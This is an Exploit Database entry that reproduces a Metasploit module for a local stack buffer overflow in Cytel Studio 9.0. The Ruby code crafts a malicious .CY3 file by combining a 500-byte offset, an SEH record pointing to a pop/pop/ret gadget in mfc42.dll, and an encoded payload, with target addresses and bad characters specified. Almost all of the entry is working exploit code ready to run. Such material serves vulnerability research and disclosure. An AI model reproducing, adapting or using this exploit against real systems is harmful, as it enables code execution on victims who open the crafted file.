Cytel Studio 9.0 - '.CY3' Local Stack Buffer Overflow (Metasploit)

EDB-ID:
18027

CVE:

EDB Verified: ✓

Author:
METASPLOIT

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2011-10-24

Vulnerable App:

```
##
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cytel Studio 9.0 (CY3 File) Stack Buffer
Overflow',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow
found
                in Cytel Studio <= 9.0. The overflow is triggered during
the
                copying of strings to a stack buffer of 256 bytes.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Luigi Auriemma',  # Initial Discovery/PoC
                    'James Fitts'      # Metasploit Module (Thx Juan &
Jeff)
                ],
            'Version'        => '$Revision: 14041 $',
            'References'     =>
                [
                    [ 'OSVDB', '75991' ],
                    [ 'BID', '49924' ],
                    [ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-
adv.txt' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space' => 1000,
                    'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        # File version 8.0.0.1
                        'Cytel Studio 9.0',
                        {
                            'Ret' => 0x73e58e01, # p/p/r mfc42.dll
                            'Offset' => 500
                        }
                    ],
                ],
```

```
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 02 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',
'msf.cy3']),
            ], self.class)
    end

    def exploit
        cy3 =  "90\n150 1\n1\test\n"
        cy3 << rand_text_alpha_upper(target['Offset'])
        cy3 << generate_seh_record(target.ret)
        cy3 << rand_text_alpha_upper(8)
        cy3 << payload.encoded
        cy3 << rand_text_alpha_upper(5000 - cy3.length)

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(cy3)
    end
end

=begin
During testing, the offset for Jeff was different. But the three of us have
NOT
been unable to reproduce the same problem.  All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions